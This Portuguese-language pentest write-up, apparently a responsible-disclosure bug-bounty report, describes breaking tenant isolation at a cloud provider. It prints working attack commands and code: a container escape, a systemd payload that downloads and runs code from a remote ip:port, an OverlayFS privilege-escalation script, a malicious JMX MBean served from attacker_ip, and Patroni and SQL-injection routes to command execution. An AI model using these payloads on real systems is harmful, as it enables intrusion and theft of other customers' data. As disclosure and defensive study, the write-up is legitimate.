Este artigo foi publicado exclusivamente para fins educacionais, a fim de aumentar a conscientização dos profissionais de segurança da informação. A pesquisa foi conduzida no âmbito de um programa oficial de bug bounty em uma das principais plataformas. O provedor do recurso em nuvem foi notificado sobre as vulnerabilidades de acordo com a política de divulgação responsável, e todas as falhas de segurança identificadas foram completamente corrigidas. A infraestrutura analisada no material foi anonimizada, o que torna impossível identificar a organização em questão. Estamos convictos de que pentests (testes de invasão) regulares, programas de bug bounty e o diálogo entre desenvolvedores e pesquisadores independentes são a base da segurança de qualquer produto de TI.
Introdução
Muitos profissionais acreditam que o comprometimento de dados na nuvem ocorre, na maioria dos casos, por culpa dos próprios clientes, que deixam armazenamentos mal configurados ou portas abertas, por exemplo. No entanto, o nosso teste de invasão de um grande provedor de nuvem mostrou que ameaças críticas podem partir da própria infraestrutura do provedor.
Esta análise baseia-se em um caso real, que conquistou o segundo lugar na categoria “Invasão de sistema” (Web & Logic) no Russian Pentest Award 2026. O material examina a exploração sucessiva de uma série de vulnerabilidades e falhas de lógica. Em conjunto, elas levaram a consequências críticas para o negócio e ao contorno completo do isolamento entre os clientes da mesma nuvem. Em 22 de outubro de 2026, também apresentei uma análise técnica deste caso na conferência Security Analyst Summit (SAS 2026), na palestra “Smash the Tenant Boundary”.
1. Obtenção do acesso inicial por meio do Kubernetes gerenciado
O pentest da infraestrutura em nuvem foi conduzido no âmbito de um estudo do modelo de ameaças de um invasor externo com privilégios de cliente comum. O objetivo final do ataque era assumir o controle total da nuvem.
1.1 Escape do worker node
No primeiro estágio, criamos um recurso no cluster Kubernetes gerenciado da nuvem, na versão v1.25.16+k0s.0. Em geral, o provedor opta por não conceder aos clientes acesso SSH aos worker nodes, pois eles não pagam pela administração dos servidores. No entanto, neste caso, as políticas de segurança do cluster não impediam a criação de pods privilegiados (pod) com acesso aos namespaces do host. Isso nos permitiu implantar um pod desse tipo e transferir o contexto de execução para a máquina host, onde o container estava em execução.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
kubectl run pod-name-bla \ --image=alpine \ --restart=Never \ --overrides=' { "apiVersion": "v1", "spec": { "hostPID": true, "containers": [ { "name": "priv", "image": "alpine", "command": [ "sh", "-c", "sleep 3600" ], "stdin": true, "tty": true, "securityContext": { "privileged": true } } ] } }' |
Após a criação do pod privilegiado, dentro do container executamos o comando nsenter, que garantiu a transferência do contexto de execução para a máquina host:
|
1 |
nsenter --target 1 --mount --uts --ipc --net --pid – bash |
Logo após a execução desse comando, o shell bash passou a ser iniciado já na máquina host real, e não dentro do container. Como o pod era privilegiado, obtivemos acesso root completo à máquina host.
Em seguida, analisamos o seu sistema de arquivos. Durante o estudo do data plane, descobrimos um token do serviço konnectivity. Esse componente garante a conexão de túnel entre o control plane e o data plane do cluster Kubernetes. Foi justamente ele que abriu possibilidades interessantes para o avanço do ataque.
1.2. Análise dos serviços no control plane
Depois de obter acesso à máquina host (o mesmo worker node já mencionado), analisamos as suas interfaces de rede (a VPC do usuário e as interfaces do Calico). Do arquivo de configuração do kubelet, extraímos o endereço do kube-apiserver (192.168.0.4). Em seguida, escaneamos esse endereço e encontramos as seguintes portas abertas:
|
1 2 3 4 5 6 |
192.168.0.4:9443 open https status=404 192.168.0.4:2380 open 192.168.0.4:6443 open http status=400 192.168.0.4:8132 open 192.168.0.4:9100 open http status=200 title="Node Exporter" 192.168.0.4:9308 open http status=200 title="kube-state-metrics" |
O maior interesse recai sobre a porta 8132, na qual funciona o serviço Konnectivity. Esse serviço cria um túnel reverso entre o control plane e o data plane (para que haja visibilidade do control plane para o data plane) e permite que os componentes de gerenciamento interajam com os worker nodes mesmo atrás de NAT. O token konnectivity descoberto anteriormente concedia o direito de interagir com esse serviço.

Diagrama de interação entre o plano de controle (control plane) e o plano de dados (data plane) através do Konnectivity
1.3. Exploração do Konnectivity
Para analisar o serviço na porta 8132, implantamos um ambiente de teste local. Descobrimos que, na versão v1.25.16+k0s.0, é utilizado um fork konnectivity-server, herdado do apiserver-network-proxy do Kubernetes original.
Cabe aqui uma breve introdução ao k0s. Trata-se de uma distribuição minimalista do Kubernetes, destinada a provedores de nuvem, sobre a qual é conveniente implantar clusters gerenciados (Managed k8s) com consumo mínimo de recursos. Uma característica importante do k0s é que, por padrão, nos nós de gerenciamento (master nodes) é proibida a execução de pods de usuário, o que atende aos requisitos de segurança do mk8s quanto ao isolamento do control plane.
Na porta 8132 mencionada acima encontra-se o serviço AgentService, que disponibiliza um único método, o Connect. Esse mesmo método recebe um fluxo de pacotes Packet.
|
1 2 3 |
service AgentService { rpc Connect(stream Packet) returns (stream Packet) {} } |
No código, descobrimos um detalhe curioso. Ao receber do worker node um pacote do tipo DIAL_REQ, o serviço AgentService executa a função net.Dial() no lado do control plane. A estrutura dos pacotes para o método Connect é a seguinte:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
//apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26 enum PacketType { DIAL_REQ = 0; DIAL_RSP = 1; ... } message Packet { PacketType type = 1; oneof payload { DialRequest dialRequest = 2; DialResponse dialResponse = 3; Data data = 4; CloseRequest closeRequest = 5; CloseResponse closeResponse = 6; CloseDial closeDial = 7; } } message DialRequest { // tcp or udp? string protocol = 1; // node:port string address = 2; // random id for client, maybe should be longer int64 random = 3; } |
O servidor lê quaisquer pacotes Packet do stream que o agente (worker node) iniciou:
|
1 2 3 4 |
//apiserver-network-proxy/pkg/server/server.go:721 in, err := stream.Recv() ... recvCh <- in |
Em seguida, os pacotes Packet chegam ao dispatcher do backend:
|
1 2 3 4 5 |
//apiserver-network-proxy/pkg/server/server.go:748 func (s *ProxyServer) serveRecvBackend(...) { for pkt := range recvCh { switch pkt.Type { |
Então acontece a parte mais interessante:
|
1 2 3 4 5 6 |
//apiserver-network-proxy/pkg/server/server.go:888 case client.PacketType_DIAL_REQ: req := pkt.GetDialRequest() klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address) s.handleDialRequest(pkt, backend) |
Ou seja, o DIAL_REQ, vindo do agente (worker node), é considerado válido e é repassado ao handler de pacotes do tipo correspondente (DIAL_REQ).
|
1 2 3 4 5 6 7 8 |
//apiserver-network-proxy/pkg/server/server.go:921 func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) { ... dialReq := pkt.GetDialRequest() resp.GetDialResponse().Random = dialReq.Random start := time.Now() conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address |
Isso criou uma primitiva de SSRF no contexto do control plane, o que permitiu acessar não apenas recursos de rede, mas também sockets UNIX do host. Escolhemos o D-Bus como candidato promissor para a interação (/run/dbus/system_bus_socket). Com o auxílio do utilitário busctl no control plane, descobrimos os seguintes serviços disponíveis:
|
1 2 3 4 5 6 |
org.freedesktop.DBus org.freedesktop.PackageKit org.freedesktop.PolicyKit1 org.freedesktop.login1 org.freedesktop.systemd1 com.ubuntu.SoftwareProperties |
Por meio do método org.freedesktop.DBus.GetConnectionCredentials (tendo escrito o nosso próprio cliente D-Bus baseado em github.com/godbus/dbus/v5), conseguimos obter o UID do processo atual. Neste caso, era o 997. Infelizmente, não era root, o que significa que não seria possível iniciar imediatamente um serviço de sistema no systemd. Ainda assim, é possível criar um serviço de usuário (system –user). Para isso, primeiro é necessário ativar o linger para o nosso UID:
|
1 2 3 4 5 |
busctl --address=unix:path=/tmp/master-dbus.sock \ call org.freedesktop.login1 \ /org/freedesktop/login1 \ org.freedesktop.login1.Manager \ SetUserLinger ubb 997 true false |
Depois disso, abriram-se os seguintes sockets:
|
1 2 |
/run/user/997/bus /run/user/997/systemd/private (este socket é justamente o análogo da execução de comandos via systemctl --user) |
Por meio do novo socket, acessamos o método StartTransientUnit do serviço org.freedesktop.systemd1.Manager:
|
1 2 3 4 5 6 |
StartTransientUnit( name: string, mode: string, properties: a(sv), aux: a(sa(sv)) ) -> job object path |
No parâmetro properties passamos justamente as diretivas padrão de descrição de serviços do systemd. Inserimos nele a seguinte linha:
|
1 |
ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '" |
Com isso, conseguimos um callback do control plane.
Os desenvolvedores do projeto k0s, a empresa Mirantis, confirmaram a existência da vulnerabilidade.
1.4. Escalação de privilégios no host
Como, por padrão, o componente konnectivity-server é executado com privilégios restritos, escalamos esses privilégios depois de obter o RCE no control plane. A análise dos processos no master node revelou um salt-minion em execução. Ter privilégios de root permite autenticar-se no salt-minion em nome desse minion e avançar o vetor de ataque sobre ele (mas isso virá mais adiante).
No meu caso, o host alvo era baseado na distribuição Ubuntu 22.04, com o kernel na versão 5.15.x. Como os namespaces de usuário (user namespaces) estavam ativados, a maneira mais indicada de escalar privilégios passou a ser o conhecido bug do OverlayFS, que permite preservar o privilégio cap_setuid+eip em um arquivo após manipulações com os namespaces.
Para explorar a vulnerabilidade, criamos uma cópia do interpretador python3 com a capability de setuid definida, o que permitiu obter privilégios de root.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
rm -rf /tmp/lpe mkdir /tmp/lpe cd /tmp/lpe unshare -rm sh -c ' mkdir l u w m && cp /usr/bin/python3 l/ && chmod 755 l/python3 && setcap cap_setuid+eip l/python3 && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/* ' getcap /tmp/lpe/u/python3 /tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")' |
Após a obtenção de privilégios de root, abriram-se vários vetores interessantes:
- No host, descobrimos a interface eth2 na sub-rede 100.64.0.0/10. A rede overlay da nuvem, como vimos, é plana, o que permite enxergar absolutamente todos os serviços gerenciados (managed).
- O sistema armazenava um par de chaves do salt-minion. Isso amplia significativamente a superfície de ataque, abrindo acesso ao control plane da própria nuvem gerenciada por meio do SaltStack.
2. Aventuras na rede overlay
2.1. Victoria stack
O estudo da atividade de rede dentro do recurso gerenciado trouxe resultados interessantes de imediato. A análise do tráfego mostrou que, de um determinado endereço IP, chegavam requisições de coleta de métricas do nó (acessos à nossa instância de kube-state-metrics no mk8s). Por trás desse endereço IP, constatamos a presença de um coletor de métricas, uma das instâncias do VictoriaMetrics, que atende diversos recursos gerenciados. De forma análoga ao Prometheus, a API do VictoriaMetrics expõe a lista de targets dos quais as métricas são coletadas.
Ao acessar o endpoint http://100.64.13.37:8429/api/v1/targets, descobrimos que os labels de cada target contêm metadados valiosos:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
"discoveredLabels": { "__address__": "http://100.64.1.1:6897/metrics", "__meta_url": "CENSORED", "__metrics_path__": "/metrics", "__scheme__": "http", "__scrape_interval__": "2m0s", "__scrape_timeout__": "2m0s", "cluster_id": "676767", "customer": "customerID", "job": "http", "profile": "kubernetes", "vds_id": "1337", "version": "1.0" } |
Vale registrar que, por meio do VictoriaMetrics, é possível obter em uma única requisição a lista completa de hosts do control plane pertencentes a outros usuários da nuvem. A porta 6897 indica o funcionamento do exporter kube-state-metrics, e o campo profile: kubernetes confirma ainda o tipo de target neste endereço.
Nessa mesma rede, descobrimos mais um host do ecossistema Victoria, o VictoriaLogs. A interface web desse serviço na porta 9428 também possui endpoints de API que permitem extrair dados sensíveis. Por exemplo, o endpoint /select/logsql/query permitia ler, sem autorização, absolutamente todos os logs de quaisquer recursos gerenciados na nuvem.
Ao analisar os logs do control plane para o Managed k8s, descobrimos um detalhe crítico. Nos scripts de cloud-init, por padrão, eram geradas chaves SSH privadas para a conta root. Essas chaves eram exibidas no stdout e salvas automaticamente nos logs gerais do sistema.
A correlação de alguns valores de labels do VictoriaMetrics ajudou a reconstruir os nomes originais do host alvo. Isso facilita a filtragem de dados no VictoriaLogs e permite associar de forma inequívoca a chave privada comprometida ao nó alvo no qual essa chave pode ser utilizada.
Utilizando a chave privada comprometida de uma conta privilegiada, podíamos acessar os nós alvo por SSH e assumir o controle total dos clusters de outros clientes.
É provável que, nos logs de serviços de outro tipo, também seja possível encontrar outros dados sensíveis para aumentar ainda mais o impacto.
2.2 Comprometimento das instâncias gerenciadas do Kafka
Investigamos a possibilidade de implantar recursos gerenciados do Apache Kafka. Como esperávamos, também encontramos essas instâncias na rede overlay plana. Assim, em um dos hosts com Kafka, a porta 9999 estava aberta e se revelou nada menos que um JMX Registry.
O mecanismo do JMX Registry é vulnerável por sua própria natureza. Ele retorna um RMI stub-host ao cliente que o invoca, o que permite carregar remotamente uma classe MBean arbitrária própria e executar código arbitrário. Ao executar uma varredura com o utilitário nmap -sC na porta do registry, determinamos a porta exata do serviço RMI com a qual interagiríamos em seguida. Para realizar o ataque, preparamos um conjunto de scripts Java com a seguinte estrutura:
- JmxCreateMBean.java: responsável pela conexão ao JMX Registry e pela criação do componente MBean javax.management.loading.MLet (uma classe que permite carregar classes a partir de uma URL indicada)
- JmxInvoke.java: invoca o método selecionado do MBean por meio do JMX Registry
- ExecMBean.java e Exec.java: um componente MBean de teste, personalizado e leve, com o método run(String cmd), que implementa a interface de execução remota de comandos.
O trecho de código responsável pela conexão e pela inicialização do componente MBean é o seguinte:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
//JmxCreateMBean.java ... import javax.management.remote.JMXConnector; import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXServiceURL; public class JmxCreateMBean { private static final class RewritingSocketFactory extends RMISocketFactory { private final String fromHost; private final String toHost; RewritingSocketFactory(String fromHost, String toHost) { ... } @Override public Socket createSocket(String host, int port) throws IOException { ... } @Override public ServerSocket createServerSocket(int port) throws IOException { ... } } public static void main(String[] args) throws Exception { ... RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3])); String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]); try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) { var mbsc = connector.getMBeanServerConnection(); try { ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5])); System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName()); } catch (InstanceAlreadyExistsException e) { System.out.println("EXISTS " + args[5]); } } } } |
Abaixo está a implementação da classe maliciosa Exec.java, que fornece métodos para executar comandos shell, bem como para ler e gravar arquivos via Base64:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
// Exec.java import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Path; import java.util.Base64; public class Exec implements ExecMBean { @Override public String run(String cmd) throws Exception { Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start(); byte[] out = p.getInputStream().readAllBytes(); int rc = p.waitFor(); return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8); } @Override public String getB64(String path) throws Exception { return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path))); } @Override public String putB64(String path, String b64) throws Exception { byte[] data = Base64.getDecoder().decode(b64); Files.write(Path.of(path), data); return "wrote " + data.length + " bytes"; } } |
Depois de compilar o nosso próprio MBean, hospedamos o arquivo .jar gerado em um servidor web remoto e preparamos o arquivo de configuração mlet.html para que o servidor alvo o carregasse em seguida.
|
1 2 3 |
<html> <mlet code="Exec" archive="execmbean.jar" name="payload:type=Exec"></mlet> </html> |
Em seguida, reproduzimos a seguinte cadeia de ações:
- Criação do carregador MLet padrão dentro da JVM do Kafka
- Carregamento do MBean malicioso no servidor alvo por meio da chamada do método getMBeansFromURL no componente MLet padrão (DefaultDomain:type=MLet). Como argumento, é passada a URL do arquivo preparado: http://attacker_ip:8000/mlet.html
- Chamada do método run(String cmd) no MBean carregado para obter RCE no host.
Esse vetor tornou-se possível porque o RMI stub-host, que, segundo os padrões de segurança, deveria estar vinculado apenas à interface loopback (127.0.0.1), foi erroneamente exposto na rede overlay compartilhada da nuvem.
2.3. Vazamento de credenciais por meio do redis-exporter
O estágio seguinte foi a análise dos hosts com instâncias gerenciadas do Redis. Em cada um deles, ao lado da porta principal 6379, o serviço redis exporter (porta 9121) estava implantado. A análise do seu código-fonte revelou uma vulnerabilidade de lógica no tratamento do parâmetro target:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
//redis_exporter/exporter/http.go:47 func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) { target := r.URL.Query().Get("target") ... if !strings.Contains(target, "://") { target = "redis://" + target } u, err := url.Parse(target) ... opts := e.options ... _, err = NewRedisExporter(target, opts) ... |
Em essência, o handler /scrape recebe um parâmetro target arbitrário e tenta coletar métricas dele, usando as mesmas credenciais com as quais o exporter se conecta à sua instância principal do Redis. Se direcionarmos a requisição do redis exporter para o nosso próprio host (por exemplo, com um nc -nvlp 6379 em execução), surge a possibilidade de interceptar as seguintes credenciais:
|
1 |
http://<redis_expoter_host>:9121/scrape?target=<fake_redis_server> |
As credenciais obtidas permitiram conectar-se às instâncias do Redis de outros clientes e realizar operações de leitura, modificação ou exclusão dos dados armazenados.
(Observação: durante a pesquisa, foi divulgada uma vulnerabilidade que leva a RCE no Redis, o que, combinado com o acesso obtido, permitia comprometer completamente os serviços de outros usuários).
2.4. Comprometimento dos clusters gerenciados do PostgreSQL (Patroni)
Juntamente com os clusters gerenciados (managed) do Kubernetes, o SGBD PostgreSQL é um dos recursos gerenciados mais requisitados. Por isso, o estágio seguinte na rede overlay foi a análise dos hosts PostgreSQL. Ao escanear os nós com a porta do PostgreSQL aberta (5432), descobrimos serviços adjacentes nas portas 2379 (o armazenamento distribuído etcd) e 8008 (Patroni REST API). Enquanto a REST API do Patroni exigia autenticação, o acesso ao etcd revelou-se totalmente aberto. Durante a análise do conteúdo do etcd, identificamos uma chave crítica, /v2/keys/service/pg-cluster/config, que continha a configuração do Patroni.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
{ "ttl": 30, "loop_wait": 10, "retry_timeout": 10, "maximum_lag_on_failover": 1048576, "postgresql": { "use_pg_rewind": true, "parameters": { "archive_command": "id", "archive_mode": "always", "max_connections": 550, "max_locks_per_transaction": 512, "max_worker_processes": 27 } } } |
A possibilidade de gravar neste arquivo de configuração permite alterar o parâmetro archive_command para um comando conveniente ao invasor, a fim de obter RCE no host alvo ao iniciar o processo de arquivamento. Para não esperar o preenchimento natural do WAL, encontramos uma forma de forçar o início do arquivamento mesmo com o nível mínimo de acesso:
- Atualizamos a configuração do Patroni com o archive_command modificado:
1curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jq - Atualizamos novamente a configuração, adicionando o parâmetro standby_cluster:
123456789101112131415161718192021{"ttl": 30,"loop_wait": 10,"retry_timeout": 10,"maximum_lag_on_failover": 1048576,"postgresql": {"use_pg_rewind": true,"parameters": {"archive_command": "rce","archive_mode": "on","archive_timeout": "10","max_connections": 550,"max_locks_per_transaction": 512,"max_worker_processes": 27}},"standby_cluster": {"host": "192.0.2.1","port": 5432}}
Após a aplicação desse parâmetro, o Patroni detecta um conflito de papéis para o master atual. Nos logs aparece uma sequência semelhante a esta:
|
1 2 3 4 |
cannot be a real primary in standby cluster Demoting self (demote-cluster) received fast shutdown request checkpoint starting: shutdown immediate |
Em seguida, é iniciada a reinicialização do Postgres, bem como o procedimento de arquivamento e a execução do comando injetado:
Dessa forma, é possível acessar os SGBDs Postgres alheios e obter controle total sobre os dados. Como fator de risco adicional, nesses hosts descobrimos arquivos com credenciais de acesso ao armazenamento S3.
Esse armazenamento contém backups não apenas da instância atual, mas também de todos os demais bancos de dados na nuvem.
3. Ataque à infraestrutura de gerenciamento SaltStack
Depois de obter acesso root ao nó do control plane, voltamos a atenção para o serviço de gerenciamento de configuração SaltStack.
3.1. Análise do salt fs
O primeiro passo foi o dump completo do sistema de arquivos do Salt Master para posterior análise estática:
Os arquivos revelaram-se muito numerosos.
|
1 2 3 4 |
salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do mkdir -p "/tmp/dump/$(dirname "$f")" salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null done |
Como a versão do Salt utilizada era atual, os CVEs conhecidos não se aplicavam. No entanto, entre os arquivos do salt-master, descobrimos um script personalizado (_pillar/somebase.py) com uma vulnerabilidade crítica, escrito pelo fornecedor para dar suporte aos minions com o serviço somebase. A vulnerabilidade consiste na construção insegura de uma consulta SQL por meio do método query.format():
|
1 2 3 4 5 6 |
sql = query.format( minion_id=minion_id, pillar={**pillar, **results}, grains=__grains__, ) loaded_items = db_connections[db_alias].load_object_list(sql) |
Como o salt-minion pode iniciar a atualização do pillar e enviar ao salt-master metadados arbitrários (grains), o invasor tem a possibilidade de injetar código SQL por meio do parâmetro some_id dentro dos grains. Quando a extensão processa a requisição no lado do salt-master, a consulta SQL gerada é executada no banco de dados prod-cloud. Com isso, a vulnerabilidade permite realizar uma SQL injection do tipo Error-Based.
3.2 Exploração da SQLi
Por meio dessa vulnerabilidade, obtivemos acesso a diferentes schemas do banco, o mais interessante dos quais era o schema cloudsmth, que continha cerca de 50 tabelas com metadados sobre todos os recursos gerenciados e VDS.
Mais notável ainda foi a tabela salt-masters, com os tokens de autenticação de todos os salt-masters.
A existência desses tokens permitiu acessar a REST API do Salt Master e executar comandos arbitrários em todos os nós (minions) sob controle da nuvem:
|
1 |
curl -k https://salt-master:8000 -H "Accept: application/json" -H "Content-Type: application/json" -H "X-Auth-Token: REDACTED" -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]' |
Em acordo com o fornecedor, o avanço posterior do ataque foi interrompido, mas, de modo geral, a obtenção de acesso aos salt-masters e ao banco de dados prod-cloud permitia, em um único passo, realizar a tomada completa de todos os recursos (incluindo VDS, S3 e outros serviços).
4. Outras formas de atacar a nuvem
Gostaríamos de mencionar outras formas de entrar na rede overlay, pois entre elas também havia casos interessantes.
4.1. Exploração de uma vulnerabilidade no Managed Valkey
Durante a investigação das instâncias de Valkey implantadas na infraestrutura em nuvem, constatamos que a versão de software utilizada é vulnerável à CVE-2026-25243. No momento da análise, não existiam provas de conceito (PoC) nem exploits públicos para essa vulnerabilidade. Para estudar os mecanismos de manifestação da vulnerabilidade, analisamos os dados de diagnóstico obtidos com o comando INFO:
|
1 2 3 4 5 6 7 8 9 |
valkey_version=7.2.11 redis_version=7.2.4 redis_git_sha1=97b6663c redis_git_dirty=0 redis_build_id=a75ca2f023d97d88 gcc_version=13.3.0 arch_bits=64 os=Linux 6.8.0-124-generic x86_64 executable=/usr/bin/valkey-server |
O identificador redis_build_id permitiu determinar com precisão o arquivo binário utilizado, que coincidiu com a build oficial para Ubuntu Noble x86_64.
A essência da vulnerabilidade CVE-2026-25243 está na forma incorreta como o operador RESTORE trata os objetos RDB serializados. Ao usar a codificação obsoleta hash-zipmap, o validador aceita uma representação de 5 bytes do comprimento para uma chave curta, porém o parser subsequente interpreta os bytes internos da chave como a codificação do comprimento do valor. Essa inconsistência leva à possibilidade de estouro do buffer e de sobrescrita de chunks adjacentes no heap (Heap Overflow), o que potencialmente permite obter uma escrita arbitrária na memória (Arbitrary Write). Após a escrita bem-sucedida em regiões de memória adjacentes (Arbitrary Write), surgiu um obstáculo na forma das regras estritas do systemd sandbox:
|
1 2 3 4 5 6 7 8 9 |
NoExecPaths=/ ExecPaths=/usr/bin/valkey-server /usr/lib /lib CapabilityBoundingSet= NoNewPrivileges=true PrivateUsers=true ProtectSystem=strict ProtectHome=true SystemCallFilter=@system-service SystemCallFilter=~ @privileged @resources |
Esses parâmetros proíbem a execução de shells padrão (por exemplo, /bin/sh). Mesmo assim, a configuração de montagem do diretório /tmp permitia a escrita. A modificação da lógica do processo permitiu iniciar o carregamento e a execução de um componente externo a partir de /tmp, que não estava sujeito à regra noexec. Após estabelecer um canal de comunicação estável, adicionamos uma chave SSH ao arquivo /var/lib/valkey/.ssh/authorized_keys. Isso garantiu acesso independente ao host e a possibilidade de escalação posterior de privilégios por métodos padrão (LPE).
Neste caso, a vulnerabilidade GRO Frag funcionou, porém novos LPE surgem a cada semana, de modo que pode haver muitas opções para escalar privilégios e continuar o ataque ao Salt Master.
4.2. MySQL
Ao criar o recurso, o usuário do banco de dados MySQL não tinha privilégios de root.
|
1 2 3 4 5 6 7 8 |
DROP TABLE IF EXISTS mysql.global_grants; CREATE TABLE mysql.global_grants ( USER char(32) NOT NULL DEFAULT '', HOST char(255) NOT NULL DEFAULT '', PRIV char(32) NOT NULL DEFAULT '', WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N', PRIMARY KEY (USER, HOST, PRIV) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0; |
No entanto, a lógica da aplicação permitia que esse usuário excluísse e recriasse a tabela de privilégios dinâmicos:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
DROP TABLE IF EXISTS mysql.user; CREATE TABLE mysql.user ( Host char(255) NOT NULL DEFAULT '%', User char(32) NOT NULL DEFAULT '', Select_priv enum('N','Y') NOT NULL DEFAULT 'Y', Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y', Update_priv enum('N','Y') NOT NULL DEFAULT 'Y', Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_priv enum('N','Y') NOT NULL DEFAULT 'Y', Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y', Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y', Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y', Process_priv enum('N','Y') NOT NULL DEFAULT 'Y', File_priv enum('N','Y') NOT NULL DEFAULT 'Y', Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y', References_priv enum('N','Y') NOT NULL DEFAULT 'Y', Index_priv enum('N','Y') NOT NULL DEFAULT 'Y', Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y', Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y', Super_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y', Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y', Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y', Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y', Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y', Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y', Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y', Event_priv enum('N','Y') NOT NULL DEFAULT 'Y', Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y', ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '', ssl_cipher blob NOT NULL, x509_issuer blob NOT NULL, x509_subject blob NOT NULL, max_questions int unsigned NOT NULL DEFAULT 0, max_updates int unsigned NOT NULL DEFAULT 0, max_connections int unsigned NOT NULL DEFAULT 0, max_user_connections int unsigned NOT NULL DEFAULT 0, plugin char(64) NOT NULL DEFAULT 'caching_sha2_password', authentication_string text, password_expired enum('N','Y') NOT NULL DEFAULT 'N', password_last_changed timestamp NULL DEFAULT NULL, password_lifetime smallint unsigned DEFAULT NULL, account_locked enum('N','Y') NOT NULL DEFAULT 'N', Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y', Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y', Password_reuse_history smallint unsigned DEFAULT NULL, Password_reuse_time smallint unsigned DEFAULT NULL, Password_require_current enum('N','Y') DEFAULT NULL, User_attributes json DEFAULT NULL, PRIMARY KEY (Host, User) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0; |
Após reiniciar o banco e criar um novo usuário, ele recebia automaticamente privilégios completos de administrador. Adicionamos a ele mais alguns privilégios:
|
1 2 3 4 |
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y'); INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y'); INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y'); FLUSH PRIVILEGES; |
No banco, elevamos os privilégios. Restava obter o RCE. Para isso, compilamos uma biblioteca UDF personalizada para a execução de comandos de sistema.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
